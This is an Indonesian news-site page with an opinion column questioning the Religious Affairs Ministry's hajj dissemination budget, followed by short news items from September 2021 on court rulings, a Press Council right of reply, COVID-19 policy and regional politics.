By M Rizal Fadillah RAPAT Kerja Kemenag dengan Komisi VIII membongkar anggaran 21 Milyar untuk diseminasi pembatalan haji 2021. Benar apa yang dikemukakan anggota Fraksi Demokrat bahwa diseminasi tidak diperlukan apalagi dengan biaya Rp 21 Milyar. Publik termasuk jama'ah dengan pengumuman pembatalan saja sudah paham. Ada pandemi dan ada pula otoritas Saudi yang hingga saat itu tidak membuka visa haji. Lalu Rp 21 Milyar untuk apa? Mengumpulkan jama'ah juga tidak, baik di daerah maupun di pusat. Sayangnya Menteri Yaqut Cholil Qoumas tidak mengklarifikasi atas penggunaan dana tersebut di depan rapat Komisi VIII sehingga wajar jika kini muncul pertanyaan publik, terjadi korupsi kah? Dana haji yang besar memang rawan penyimpangan. Meskipun dana haji itu kini dikelola oleh Badan Pengelola Keuangan Haji (BPKH) bukan berarti telah terjamin keamanan pemanfaatan. Saat muncul isu penggunaan untuk infrastruktur saja telah mengguncangkan jama'ah dan umat Islam. Perlu kejelasan Rp 21 Milyar yang digunakan untuk diseminasi pembatalan itu menggunakan dana apa dan untuk alokasi apa saja. Dibandingkan dengan korupsi trilyunan jumlah Rp 21 Milyar itu kecil, tetapi jika dengan puluh atau ratus juta maka itu sangat besar. Lagi pula korupsi itu tidaklah memandang besaran jumlah karena yang penting adanya kerugian negara dan menguntungkan diri sendiri atau orang lain. Perlu diselidiki apakah ada penyimpangan hukum dari kasus diseminasi ini? Ayo KPK atau Kejaksaan Agung periksa Menteri Agama. Pembatalan yang sudah jelas merugikan jama'ah ternyata kini terindikasi merugikan negara pula. Ke kantong dan rekening siapa saja dana itu mengalir? Bahaya jika begitu mudahnya uang rakyat digasak dengan mengatasnamakan kegiatan agama. Teringat saat Menteri Agama dulu Suryadarma Ali yang tersangkut kasus penggunaan dana haji hingga harus mendekam di penjara. Awalnya menganggap sama sekali tidak melakukan penyalahgunaan. Seluruhnya dilakukan sesuai prosedur. Akan tetapi setelah didalami oleh PPATK dan untuk kemudian KPK turun tangan, maka terbuktilah bahwa apa yang dilakukan Menteri Agama itu adalah keliru. Menteri melakukan tindak pidana korupsi. Komisi VIII DPR yang telah memulai mempertanyakan harus pula menindaklanjuti temuan ini, karena saat pertemuan terbuka dengan Menteri Agama Yaqut ternyata belum mendapat jawaban yang jelas dan memuaskan. Bila Menag meyakini dirinya bersih, maka ia dan jajarannya harus siap untuk diperiksa baik oleh PPATK, KPK, ataupun Kejaksaan Agung. Selamat bersih-bersih, Gus Yaqut. *) Pemerhati Politik dan Kebangsaan

Pemprov DKI Kalah di MA dalam Kasus Reklamasi Pulau H

Jakarta, FNN - Pemprov DKI Jakarta menyiapkan langkah-langkah lanjutan terkait putusan Mahkamah Agung (MA) soal kasus izin reklamasi Pulau H yang terletak di Teluk Jakarta. "Ya nanti kita lihat dan cek kembali, tentu kami menghargai putusan MA, nanti Biro hukum akan mempelajari dan mempersiapkan apa langkah-langkah yang diperlukan dan akan diambil Pemprov DKI," kata Riza di Balai Kota Jakarta, Kamis malam. Sebelumnya, Mahkamah Agung (MA) mengabulkan peninjauan kembali (PK) yang dilayangkan PT Taman Harapan Indah melawan Gubernur DKI Anies Baswedan terkait izin reklamasi pulau H, di Teluk Jakarta. "Kabul PK, Batal Judex Juris, Adili Kembali, Tolak Gugatan (CF.JF.PT) (Kabul PK, batal judex juris/kasasi, adili kembali, tolak gugatan, confirm judex factie pengadilan tinggi)," dikutip dari situs MA, Kamis (2/9). Judex juris dalam perkara ini merupakan putusan di tingkat MA sebelumnya, yang adalah kasasi, yang memenangkan pihak Anies. Perkara PK tersebut diputus pada 19 Agustus 2021 dengan komposisi hakim yang mengadili perkara adalah Yosran, Yulius, dan Ketua Majelis Hakim Supandi. Permohonan dengan nomor register 84 PK/TUN/2021 ini tercatat memiliki pemohon atas nama PT Taman Harapan Indah, dengan termohon adalah Gubernur Provinsi Daerah Khusus Ibukota Jakarta. Sengketa ini bermula saat Anies menerbitkan Surat Keputusan (SK) Nomor 1409 Tahun 2018 pada 6 September 2018 yang berisi pencabutan izin 13 pulau reklamasi, termasuk izin reklamasi Pulau H. Tidak terima hal itu, PT Taman Harapan Indah menggugat hal yang berkaitan dengan pencabutan izin reklamasi Pulau H dalam SK tersebut ke Pengadilan Tata Usaha Negara (PTUN) Jakarta pada 18 Februari 2019. Dalam gugatannya, PT Taman Harapan Indah memohon pada PTUN untuk memerintahkan Anies membatalkan SK yang terkait pencabutan izin Pulau H. Pengembang tersebut juga meminta PTUN memerintahkan Anies menerbitkan perpanjangan izin reklamasi Pulau H. Gayung bersambut. Pada 9 Juli 2019, PTUN mengabulkan gugatan PT Taman Harapan Indah. Majelis hakim membatalkan SK pencabutan izin reklamasi Pulau H dan memerintahkan Anies memproses perpanjangan izin reklamasi tersebut. Tidak terima, Anies kemudian mengajukan banding ke Pengadilan Tinggi Tata Usaha Negara (PT TUN) Jakarta, namun tidak membuahkan hasil. Anies dan PT Taman Harapan Indah sama-sama mengajukan kasasi ke MA. Anies mengajukan kasasi karena SK yang diterbitkan untuk dibatalkan oleh PT TUN, sementara itu, PT Taman Harapan Indah mengajukan kasasi karena PTTUN tidak memerintahkan Anies memperpanjang izin reklamasi Pulau H. Di tingkat kasasi, MA memenangkan Anies. Mendapati hal itu, giliran PT Taman Harapan Indah yang tidak terima dan mengajukan PK yang kemudian dikabulkan. ( sws)

Anggota DPR Minta Lemhannas Kaji Munculnya Buzzer Politik

Jakarta, FNN - Anggota Komisi I DPR RI Al Muzzammil Yusuf meminta Lembaga Ketahanan Nasional (Lemhannas) supaya melakukan pengkajian serius terhadap fenomena munculnya buzzer politik. "Saya menyarankan supaya membuat kajian yang serius. Jangan dibiarkan karena tidak ada pembenaran dari aturan apa pun untuk mereka," kata Muzammil dalam rapat dengar pendapat (RDP) dengan Gubernur Lemhannas dan Sesjen Wantannas bersama Komisi I DPR, di Gedung DPR Senayan, Jakarta, Kamis, 2 September 2021. Muzammil mengaku tidak antipati dengan buzzer jika mereka berdiskusi dengan kacamata ilmiah dan argumentasi yang benar. Akan tetapi, yang dikhawatirkan jika para buzzer itu keluar dari jalur dan menghukum orang-orang cerdas. Muzammil mencontohkan pada bulan Februari 2020 terjadi keramaian di media sosial dan media massa bahwa seorang profesor di Badan Pembinaan Ideologi Pancasila yang baru dilantik, mengangkat satu wacana ideologi dengan membenturkan dengan agama. "Saya kira perlu dikaji oleh Lemhanas dalam konteks pengaderan pemimpin bangsa. Pernyataan para pejabat negara khususnya pemerintahan, itu masuk dalam ranah ideologi dan demokrasi," kata Muzammil, sebagaimana dikutip dari Antara. Berikutnya, muncul kembali ketika tes wawasan kebangsaan di Komisi Pemberantasan Korupsi (KPK) yang membenturkan Pancasila dengan agama dan Pancasila dengan Islam. "Itu dimunculkan lembaga negara, dan para buzzer menyambut dengan pro dan kontra. Yang pro bahkan berani pada isu penistaan agama," kata Muzammil. Ia menjelaskan, Buzzer itu tidak bekerja sendiri. Bahkan ada yang disebut kakak pembina. Selain itu, mereka yang dekat dengan pemerintah sampai sekarang pun tidak tersentuh hukum. Dalam konteks buzzer di Indonesia, telah masuk dimensi ideologi, muncul dimensi politik, kemudian masuk ke dimensi hukum. Bahkan, kata Muzammil, didukung digital informasi dengan internet sudah menjangkau 73 persen wilayah Indonesia. Sehingga, wacana yang dipropagandakan para buzzer menyebar begitu cepat. Dalam rapat dengar pendapat itu membahas agenda laporan keuangan Lemhannas dan Wantannas APBN Tahun Anggaran 2020, Rencana Kerja Anggaran (RKA) Tahun Anggaran 2022, dan Program Prioritas Nasional Tahun 2022. (MD).

Hak Jawab Dewan Pers Atas Berita Media Siber fnn.co.id Berjudul: “Dewan Pers Intimidasi Majalah Forum Keadilan”

Jakarta, FNN - Menanggapi berita Media Siber fhn.co.id yang berjudul: “Dewan Pers Intimidasi Majalah Forum Keadilan", https://fnn.co.id/2021/08/24/dewan-pers-intimidasi-majalah-forum-keadilan/ Dewan Pers menyatakan: Benar bahwa Dewan Pers telah mengundang redaksi Forum Keadilan melakukan mediasi pada Selasa, 24 Agustus 2021, melalui aplikasi zoom atas pengaduan kantor Kementerian Keuangan terhadap berita yang berjudul, “Rp. 75 Miliar Untuk XI DPR Hancurkan BPK,” (Nomor 22/XXX, edisi 01 — 14 Agustus 2021). Mediasi yang dilakukan pada hari Selasa tersebut merupakan mediasi kedua, setelah pada undangan mediasi sebelumnya, pihak Forum Keadilan (Teradu) tidak dapat hadir, sedangkan pihak Kementerian Keuangan Republik Indonesia Kemenkeu RI (Pengadu) hadir dan memberikan klarifikasi kepada Dewan Pers. Pada mediasi kedua, Selasa 24 Agustus 2021, pihak Pengadu (Kantor Kemenkeu RI) hadir dan pihak Forum Keadilan juga hadir dengan diwakili Oleh saudara Mohamad Toha (Redaktur Eksekutif), Zainul Arifin (Redaktur Pelaksana) dan Rimbo Bugis (Redaktur). Mereka mewakili saudara Lutfi Pattimura (Pemimpin Redaksi) yang berhalangan hadir. Sesuai dengan prosedur mediasi di Dewan Pers, pihak Pengadu (Kemenkeu RI) dipersilakan terlebih dulu memberikan keterangan, dalam hal ini memberikan progres report kemungkinan perkembangan setelah mediasi pertama--pada Jumat, 13 Agustus 2021--dilakukan. Update ini diperlukan, sebab bisa saja terjadi perkembangan informasi terkait pihak Pengadu dan Teradu sepanjang menunggu jadwal mediasi kedua. Klarifikasi tersebut hanya berlangsung tidak lebih dari 30 menit. Setelah selesai dengan Pengadu, Dewan Pers meminta mereka (Pengadu) menunggu di “ruang tunggu” Zoom. Selanjutnya tim mediasi meminta Teradu masuk ke Zoom meeting mediasi Pada sesi ini, tim Dewan Pers yang dipimpin oleh Anggota Dewan Pers Jamalul Insan yang didampingi oleh sejumlah anggota lain Dewan Pers dan Tenaga Ahli meminta klarifikasi kepada Teradu. Keberatan — keberatan dan Pengadu antara lam bahwa tulisan opini wartawan FK tersebut diduga melanggar kode etik, yang merugikan Menteri Keuangan Sri Mulyani karena mengarah kepada fitnah, tidak sesuai dengan fakta diklarifikasi kepada Teradu. Dalam klarifikasi tersebut, juga ditanyakan apakah benar nama wartawan yang menulis opini yang diadukan, adalah bukan nama sebenarnya. Hal ini perlu diklarifikasi, demi akuntabilitas atau pertanggungjawaban wartawan terhadap publik pembaca. Tidak ada satu Pasal pun di UU Nomor 40 tahun 1999 tentang Pers (UU Pers) yang menyatakan bahwa perusahan pers boleh menyembunyikan nama wartawannya. Hak Tolak, diatur pada pasal 4 UU Pers, namun ditujukan untuk melindungi narasumber. Pada kesempatan ini, Dewan Pers belum sempat meminta klarifikasi kepada Teradu atas dugaan Pengadu terkait ketidakajegan waktu terbit media Teradu. Klarifikasi ini penting untuk memastikan apakah media Teradu sesuai dengan Standar Perusahaan Pers (Peraturan Dewan Pers Nomor 3/2019). Dewan Pers juga mengklarifikasi proses kerja di redaksi Forum Keadilan untuk memastikan standar kerja pers yang lazim berlangsung di news room di media Teradu. Apa yang dilakukan oleh Dewan Pers dalam proses tersebut adalah klarifikasi yang diperlukan untuk menjaga kemerdekaan pers tetap berada dalam koridor Undang-Undang Nomor 40 Tahun 1999 tentang Pers serta Kode Etik Jurnalistik. Setelah sesi klarifikasi dengan Teradu, akan dilanjutkan dengan sesi ketiga, yakni pertemuan tiga pihak antara Pengadu, Teradu, dan Dewan Pers, untuk penyelesaian pengaduan. Dewan Pers menyiapkan rancangan Risalah Penyelesaian Pengaduan untuk memperoleh kesepakatan para pihak. Namun pada sesi kedua ini, teradu dengan alasan kesibukan pamit meninggalkan room mediasi, dengan pesan bahwa teradu tetap berpegangan pada suratnya kepada Dewan Pers hanya menunggu hak jawab dari pengadu. Dalam Risalah ini dimasukkan temuan Dewan Pers atas klarifikasi terhadap Pengadu dan Teradu. Pun, ada atau tidaknya pelanggaran terhadap Kode Etik Jurnalistik atas berita yang diadukan sebagai bentuk ajudikasi yang dilakukan Dewan Pers terkait amanat Kode Etik Jurnalistik yang menyebutkan “Penilaian akhir atas pelanggaran kode etik jurnalistik dilakukan oleh Dewan Pers”. Kemudian para pihak diminta tanggapannya atas draft/rancangan Risalah tersebut. Jika mereka setuju, Risalah akan ditandatangani para pihak dan Dewan Pers. Jika salah satu pihak atau kedua pihak tidak setuju atas rancangan Risalah itu, maka Dewan Pers akan mengambil keputusan melalui Sidang Pleno Dewan Pers berupa Pernyataan Penilaian dan Rekomendasi (PPR). PPR ini bersifat final dan mengikat. Semua langkah-langkah Dewan Pers ini sesuai dengan Prosedur Pengaduan ke Dewan Pers (Peraturan Dewan Pers No. 01/2017). Dewan Pers perlu menggarisbawahi bahwa sesuai Pasal 15 UU No 40 Tahun 1999 tentang Pers, Dewan Pers antara lain berfungsi, pada butir h, memberikan pertimbangan dan mengupayakan penyelesaian pengaduan masyarakat atas kasus kasus yang berhubungan dengan pemberitaan pers. Dewan Pers juga perlu mengingatkan bahwa sebagai media siber fnn.co.id wajib menaati Pedoman Pemberitaan Media Siber (Peraturan Dewan Pers No.1/2012) yang pada angka huruf a dan b menyebutkan bahwa setiap berita harus melalui verifikasi, serta berita yang merugikan pihak lain memerlukan verifikasi pada berita yang sama untuk memenuhi prinsip akurasi dan keberimbangan. Demikian Hak Jawab Dewan Pers, semoga kita bisa menjaga marwah kemerdekaan pers secara profesional. Jakarta, 27 Agustus 2021. Dewan Pers Mohammad Nuh Ketua Dewan Pers Hak Jawab Dewan Pers ini baru dapat diunggah FNN.co.id hari ini Kamis 02 September 2021, karena baru diketahui oleh Pimpinan Redaksi pada hari ini Kamis 02 September 2021, sebagai akibat dari kebijakan manajemen FNN.co.id bahwa semua pekerjaan dikerjakan dari luar kantor, termasuk rumah. Penjaga kantor hanya datang ke kantor FNN.co.id di Jalan Majapahit No 26 Blok AF Jakarta Pusat 10160 3-4 hari sekali sebagai bentuk ketaatan seluruh awak FNN.co.id kepada kebijakan pemerintah menerapkan PPKM Darurat, PPKM Level-4 dan PPKM level-3. Selain itu, pada tanggal 23 Agustus 2021 lalu penjaga kantor FNN.co.id sempat mengalami gejala OTG (Orang Tanpa Gejala) berupa hilang penciuman dan rasa, sehingga harus menjalani isolasi mandiri. Kantor FNN.co.id diliburkan sampai hari Kamis tanggal 02 September 2021. Alhamdulillaah hari ini sudah bisa ke kantor lagi. Redaksi

Malaysia Tetapkan Oktober Covid-19 Sebagai Endemi

Kuala Lumpur, FNN - Pemerintah Malaysia mengatakan rakyat dan seluruh keluarga Malaysia harus siap hidup bersama Covid-19 sebagai endemi setelah Oktober, ketika injeksi vaksin diharapkan benar-benar selesai. Perdana Menteri Malaysia Ismail Sabri Yaakob mengemukakan hal itu di Putrajaya, Kamis, 2 September 2021, usai Musyawarah Khusus Penanganan Pandemi Covid-19. Ismail menginformasikan transisi fase di bawah Rencana Rehabilitasi Nasional (PPN) untuk Negara Bagian Melaka yang pindah ke tahap dua dan Negeri Sembilan pindah ke tahap tiga. "Transisi fase untuk negara bagian tersebut akan dimulai pada 4 September 2021," katanya, sebagaimana dikutip dari Antara. Ismail mengatakan, pertemuan sepakat membuka sektor pariwisata di beberapa destinasi di bawah program "gelembung perjalanan" berdasarkan kondisi yang ditentukan. "Sebagai permulaan, Pulau Langkawi dipilih sebagai proyek percontohan untuk dibuka kembali untuk wisatawan lokal, dimulai 16 September," katanya. Destinasi wisata lainnya akan diizinkan beroperasi ketika tingkat vaksinasi lokal mencapai 80 persen. Selain itu rapat juga menyepakati sidang tersebut disebut Pansus Penanggulangan Pandemi yang akan melibatkan perwakilan dari partai oposisi. Pendekatan ini, ujar dia, merupakan salah satu upaya kolektif untuk melibatkan seluruh pemangku kepentingan untuk memastikan bahwa pemulihan negara berjalan sesuai rencana, bersama-sama dengan semangat Keluarga Malaysia. "Alhamdulillah, hari ini untuk pertama kalinya dalam beberapa bulan, rata-rata penularan secara nasional di bawah 1,0, dan saya yakin kita berada di jalur yang benar menuju pemulihan nasional," katanya. Berdasarkan proyeksi data Pansus Penjaminan Akses Pasokan Vaksin Covid-19 (JKJAV), tingkat vaksinasi rata-rata di setiap negara bagian diperkirakan akan tercapai 80% untuk populasi orang dewasa pada akhir September 2021. "Saya percaya tingkat vaksinasi 100 persen akan tercapai pada akhir Oktober 2021, sekaligus memberikan perlindungan kepada Keluarga Malaysia," katanya. Oleh karena itu, katanya. Kementerian Kesehatan Malaysia (MOH) diminta untuk menyajikan strategi pandemi dan endemi baru yang tepat selain kepatuhan terhadap Standar Operasional Prosedur (SOP) saja. "Saya menerima saran tentang upaya untuk melakukan perubahan terhadap perilaku seperti yang diumumkan oleh Depkes pada 1 September 2021," katanya. Keluarga Malaysia perlu sadar, akhirnya semua orang harus hidup dengan Covid-19 seperti yang terjadi di seluruh dunia. Berdasarkan data yang dihimpun di grup Telegram Kementerian Kesehatan Malaysia, endemi adalah kejadian penyakit yang senantiasa ada dalam masyarakat atau sesuatu tempat. Penyakit tersebut diprediksi senantiasa ada dengan kasus dan kadar yang stabil serta rendah. Contoh, demam berdarah dengue adalah penyakit endemi di Malaysia. (MD).

Kasasi Ditolak, Dosen Universitas Syiah Kuala Aceh Ditahan

Banda Aceh, FNN - Akademisi Universitas Syiah Kuala (USK) Aceh Saiful Mahdi segera menjalani masa tahanan. Hal tersebut dilakukan setelah pengajuan Kasasi ditolak Mahkamah Agung (MA) atau menguatkan putusan Pengadilan Negeri (PN) Banda Aceh, yakni tiga bulan penjara. "Putusan MA menguatkan putusan PN Banda Aceh. Tidak ada yang berubah putusannya sama tiga bulan penjara plus Rp 10 juta subsider 1 bulan kurungan," kata Kuasa Hukum Saiful Mahdi dari Lembaga Bantuan Hukum Banda Aceh, Syahrul, di Banda Aceh, Kamis, 2 September 2021. Sebelumnya, PN Banda Aceh menjatuhkan hukuman tiga bulan penjara terhadap akademisi USK Saiful Mahdi. Ia didakwa melanggar Undang-Undang Informasi dan Transaksi Elektronik (UU ITE). Dosen Fakultas MIPA USK itu dinyatakan bersalah melakukan tindak pidana dengan sengaja dan tanpa hak mentransfer muatan pencemaran nama baik tentang hasil tes CPNS Dosen Fakultas Teknik kampus tersebut. Pasca putusan PN Banda Aceh, Saiful Mahdi juga telah mengajukan banding ke Pengadilan Tinggi Banda Aceh hingga Kasasi ke MA, Akan tetapi, semua putusan menguatkan hasil keputusan PN Banda Aceh. Syahrul mengatakan, pekan lalu pihaknya dihubungi JPU untuk mengantarkan Saiful Mahdi kepada Jaksa guna dilakukan eksekusi hari ini. "Kita tidak akan mengelak, saya dan beliau (Saiful Mahdi) sadar ini negara hukum,. Kami memutuskan tetap mengantarnya hari ini pukul 14.00 WIB ke Kejari Banda Aceh," ujarnya, seperti yang dikutip dari Antara. Dalam kesempatan ini, Syahrul menyampaikan, Saiful Mahdi sebenarnya masih ingin berjuang dengan Peninjauan Kembali (PK) terhadap putusan tersebut. Namun, PK tidak dapat menunda eksekusi. Syahrul menuturkan, saat ini akademisi se-Indonesia yang tergabung dalam Kaukus Indonesia untuk Kebebasan Akademik (KIKA) menggelar eksaminasi terhadap putusan Saiful Mahdi. "Pada prinsipnya, para akademisi itu menilai tidak adanya unsur keadilan dari hakim, tidak mempertimbangkan kompetensi melakukan itu, maksudnya apa yang Saiful lakukan adalah kran keilmuan dalam ruang lingkup akademik," kata Direktur LBH Banda Aceh itu. Tidak hanya itu, lanjut Syahrul, teman-teman akademisi Saiful Mahdi se-Indonesia yang tergabung dalam advokasi juga akan mengajukan amnesti kepada Presiden. "Artinya kita terus melawan, terus berjuang mencari keadilan, karena sebenarnya apa yang dia sampaikan bukan tindak pidana. Keluarga sudah siap untuk beliau dieksekusi," demikian Syahrul. (MD).

Anis Matta: 3 Tantangan Taliban dalam Membentuk Pemerintahan Afghanistan

Jakarta, FNN - Ketua Umum Partai Gelora Indonesia Anis Matta menyebut tiga tantangan yang akan dihadapi Taliban dalam membentuk pemerintahan Afghanistan yang efektif. Pertama, kata Anis, tantangan yang berhubungan dengan proses pembangunan negara mulai dari konsolidasi elite politiknya. Hal itu disampaikan Anis Matta dalam diskusi bertajuk Tantangan Taliban Mampukan Membentuk Pemerintahan Yang Efektif yang disiarkan kanal YouTube Gelora Tv, Rabu (2/9/2021). "Saya kira secara sosiologis yang paling penting adalah dari politik hukum menjadi politik bangsa," kata Anis. "Kemudian penyusunan dasar negara dengan konstitusi, lalu pembentukan pemerintahan ini hal-hal yang secara natural terjadi dalam sebuah negara yang baru berdiri," tambahnya. Sedangkan, tantangan kedua tentu Taliban dalam hal ini, bagaimana mengintegrasikan kembali Afganistan ke dalam internasional. Pasalnya, kata Anis, Taliban di banyak negara disebut sebagai gerakan terorisme. Sehingga, apakah masyarakat internasional akan menerima satu gerakan yang tadinya didefinisikan sebagai teroris kemudian memenangkan pertarungan di dalam negerinya dan menguasai negara. "Kita akan melihat bagaimana respon masyarakat internasional yang sekarang ini masih berbeda-beda tapi kita juga menyaksikan bahwa pernyataan pernyataan politik Taliban setelah menguasai Afghanistan ini sekarang rasanya jauh lebih cerdas, jauh lebih sedikit dibanding pernyataan-pernyataan politik mereka beberapa waktu yang lalu," ucap Anies. Lalu, tantangan ketiga yakni tentang pembangunan ekonomi. Anis menyebut jika pembangunan ekonomi adalah masalah terbesar yang akan dihadapi oleh Taliban. Sebab, Afghanistan dengan jumlah penduduk sekitar 39,7 juta jiwa ini termasuk kategori negara miskin dengan pendapatan hanya 20 juta dollar. Lalu, angka kemiskinan l sekitar 54 persen dan penganggurannya 23 persen. Hal yang paling pokok adalah paradoks yang akan muncul dalam proses pembangunan ekonominya karena sumber utama ekonomi Afghanistan nanti adalah pada kekayaan mineralnya. Kanata Anies, kekayaan tambangnya yang diperkirakan banyak pengamat memiliki nilai antara 1 sampai 3 triliun dolar. Baca juga: Presiden Rusia Vladimir Putin: 20 Tahun AS Berada di Afghanistan Berakhir Tragedi, Hasilnya Nol "Tapi tentu saja sebagaimana yang terjadi di banyak negara, kadang-kadang sumber daya adalah sumber masalah," ujar Anis. "Sekaranglah waktunya Afghanistan membutuhkan investasi dari komunitas internasional, sekarang waktunya Afghanistan membutuhkan transfer teknologi," jelasnya. (tribunnews)

Sahroni Dukung Langkah Cepat Polri Usut Dugaan Pelecahan di KPI

Jakarta, FNN - Wakil Ketua Komisi III DPR RI Ahmad Sahroni mendukung langkah cepat Polri yang langsung turun tangan dalam mengusut kasus dugaan pelecehan seksual dan perundungan terhadap seorang pegawai di Komisi Penyiaran Indonesia (KPI) Pusat berinisial MS oleh rekan kerjanya. Ahmad Sahroni menilai kasus perundungan di tempat kerja adalah tindakan yang tidak bisa ditoleransi karena menimbulkan efek luar biasa terhadap korban. "Apalagi kita tahu bahwa kasus perundungan itu sudah dialami secara bertahun-tahun dan terjadi di salah satu lembaga negara. Ini tidak bisa dibiarkan. Oleh karena itu, kenapa kami di NasDem gencar memperjuangkan RUU PKS? Agar pelaporan-pelaporan kasus seperti ini bisa lebih efektif penindakannya," kata Sahroni dalam keterangannya di Jakarta, Kamis. Ia juga menyoroti pengakuan korban yang sudah mengadu ke Polsek Gambir namun justru pihak kepolisian meminta korban mengadukan ke atasan dan penyelesaiannya secara internal lembaga. Menurut dia, tugas polisi adalah memproses laporan yang masuk, apalagi jika tindakan yang diadukan ada unsur pidana. Oleh karena itu, Sahroni menyayangkan sikap Polsek Gambir yang justru tidak menganggap serius laporan korban. Sahroni menegaskan bahwa tugas polisi adalah memproses laporan masyarakat, dan laporan korban MS diduga mengandung unsur pidana, yaitu penganiayaan. "Kalau begini, sangat disayangkan karena nantinya korban perundungan jadi enggan mengadu ke polisi, lalu kita mau membiarkan saja tindakan seperti ini terjadi? Bagaimana kalau yang dirundung anak kita sendiri? Karenanya polisi juga harus telusuri jajarannya yang dimaksud," ujarnya. Politikus Partai NasDem itu juga meminta terduga pelaku dipecat dan dihukum seberat-beratnya sesuai dengan tindakan yang telah dilakukan. Menurut dia, korban MS juga wajib mendapatkan perlindungan hukum dan bantuan perawatan untuk memulihkan mentalnya yang tertekan. "Saya tegaskan bahwa kami menolak keras perundungan di tempat kerja atau di mana pun, dan negara harus berdiri bersama korban," katanya. Sebelumnya, seorang pria yang mengaku sebagai pegawai KPI Pusat mengaku sebagai korban perundungan dan pelecehan seksual yang dilakukan oleh tujuh pegawai di Kantor KPI Pusat dalam kurun waktu 2011 hingga 2020. Pengakuan korban itu muncul ke publik lewat siaran tertulis yang diterima oleh sejumlah media nasional di Jakarta, Rabu (1/9). Dalam pengakuan itu, korban mengaku mengalami trauma dan stres akibat pelecehan seksual dan perundungan yang menjatuhkan martabat dan harga diri korban. Ketua KPI Pusat Agung Suprio mengatakan bahwa pihaknya tidak akan menoleransi segala bentuk pelecehan seksual dan perundungan dalam bentuk apa pun. KPI mendukung kepolisian mengusut kasus pelecehan seksual dan perundungan yang diduga dilakukan oleh tujuh pegawainya terhadap seorang pegawai KPI Pusat. Kepala Bareskrim Polri Komjen Pol. Agus Andrianto mengatakan bahwa Bareskrim akan menyelidiki kasus dugaan pelecehan seksual dan perundungan yang terjadi di Kantor KPI Pusat. Menurut dia, penanganan perkara tersebut akan diarahkan ke Direktorat Tindak Pidana Umum (Dittipidum) Bareskrim Polri. (mth)

Gubernur: Pelabuhan Ujung Jabung Kunci Kemajuan Ekonomi Makro Jambi

Jambi, FNN - Gubernur Jambi Al Haris menyatakan Pelabuhan Ujung Jabung yang berada di Kabupaten Tanjung Jabung Timur merupakan kunci kemajuan ekonomi secara makro di Provinsi Jambi. "Pelabuhan Ujung Jabung ini menjadi gerbang ekonomi di Jambi, selama ini kegiatan ekspor impor terhambat karena Jambi tidak memiliki pelabuhan internasional," kata Al Haris di Jambi, Kamis. Sementara begitu banyak komoditi di Provinsi Jambi yang di ekspor keluar negeri. Bahkan sejumlah komoditi lainnya memiliki peluang yang besar untuk di ekspor ke luar negeri jika Pelabuhan Ujung Jabung sudah beroperasi. Mulai dari ekspor komoditi pertanian, pertambangan hingga komoditi industri olahan dan rumahan. Dijelaskan Al Haris saat ini pembangunan dan pengembangan Pelabuhan Ujung Jabung tersebut terkendala oleh akses jalan menuju pelabuhan. Dimana akses menuju Pelabuhan Ujung Jabung tersebut terhambat karena Jembatan di Sungai Rambut, Kecamatan Berbak belum memenuhi kualifikasi. "Salah satu kendala pembangunan pelabuhan itu yakni akses jembatan Sungai Rambut yang belum memenuhi kualifikasi, jika jembatan tersebut sudah dibangun dan sesuai standar maka pembangunan Pelabuhan Ujung Jabung dapat dimaksimalkan," kata Al Haris. Untuk mempercepat pembangunan Jembatan Sungai Rambut, Gubernur Jambi Al Haris bersama anggota DPR RI komisi V A Bakrie pada Rabu (1/9) memaparkan perkembangan pembangunan Pelabuhan Ujung Jabung kepada Menteri Pekerjaan Umum dan Perumahan Rakyat (PUPR) M Basuki Hadimoeljono di Jakarta. Al Haris meminta Pemerintah Pusat dapat membantu pembangunan Jembatan Sungai Rambut menuju Ujung Jabung. Begitu pula dengan pembangunan infrastruktur pendukung lainnya. "Dengan demikian mudah-mudahan pintu gerbang ekspor impor ke mancanegara dapat terbuka dan tidak ada lagi biaya lansir barang karena sudah ada Pelabuhan Internasional," katanya. Jembatan Sungai Rambut tersebut memiliki panjang 617 meter dengan estimasi lebar jembatan 10 meter. Diperkirakan biaya pembangunan Jembatan Sungai Rambut tersebut sebesar Rp280,22 miliar. Tidak hanya mempresentasikan kemajuan pembangunan Pelabuhan Ujung Jabung, namun Gubernur Jambi turut meminta dukungan dari Kementerian PUPR untuk pembangunan infrastruktur jalan dan jembatan di wilayah kabupaten dan kota di Provinsi Jambi. "Semoga Kementerian PUPR bisa membantu kita untuk mempercepat pembangunan infrastruktur di Provinsi Jambi," katanya. (mth)

Ketua DPR Apresiasi Tingkat Vaksinasi di Indonesia

Jakarta, FNN - Ketua DPR RI Puan Maharani mengapresiasi tingkat vaksinasi Indonesia yang saat ini berada di peringkat ke-7 negara-negara di dunia, dan diyakini melalui gotong royong maka rangking Indonesia bisa meningkat di tahun 2022. "Insya Allah 2022 Indonesia vaksinasinya bisa mendekati negara-negara besar lainnya," kata Puan dalam keterangannya di Jakarta, Kamis. Hal itu dikatakannya saat mengujungi Sentra Vaksinasi yang diselenggarakan Himpunan Pengusaha Muda Indonesia (HIPMI) dan Maming Enam Sembilan Group di Pasar Ikan Modern Muara Baru, Jakarta Utara, Kamis. Puan mengatakan, DPR bersama pemerintah terus berkoordinasi untuk terus menjaga ketersediaan vaksin di dalam negeri, sehingga bisa mempercepat proses vaksinasi yang sedang berjalan. Menurut dia, ketika vaksin dalam jumlah besar masuk ke Indonesia, Pemerintah Pusat maupun daerah tidak bisa melakukan vaksinasi tanpa peran serta masyarakat luas. "Karena vaksin ada masa kedaluwarsanya dan juga harus diperhatikan cara pakai dan menyimpan vaksinnya. Jadi, semua elemen bisa ikut bergoton-royong," ujarnya. Dia mengatakan selain vaksinasi, disiplin protokol kesehatan juga perlu digencarkan oleh seluruh lapisan masyarakat karena vaksinasi saja tidak cukup terutama kecepatan mutasi COVID-19 dengan berbagai variannya. Mantan Menteri Pembangunan Manusia dan Kebudayaan (Menko PMK) itu juga mengingatkan bahwa rakyat yang sehat adalah syarat untuk ekonomi Indonesia yang kuat. Puan juga meminta peran TNI-Polri di wilayah masing-masing untuk bergotong royong bersama masyarakat mempercepat vaksinasi, misalnya, membantu panitia penyelenggara vaksinasi agar tidak terjadi kerumunan. (mth)

Polda Papua Beberkan Keterlibatan Senat Soll di KKB Yahukimo

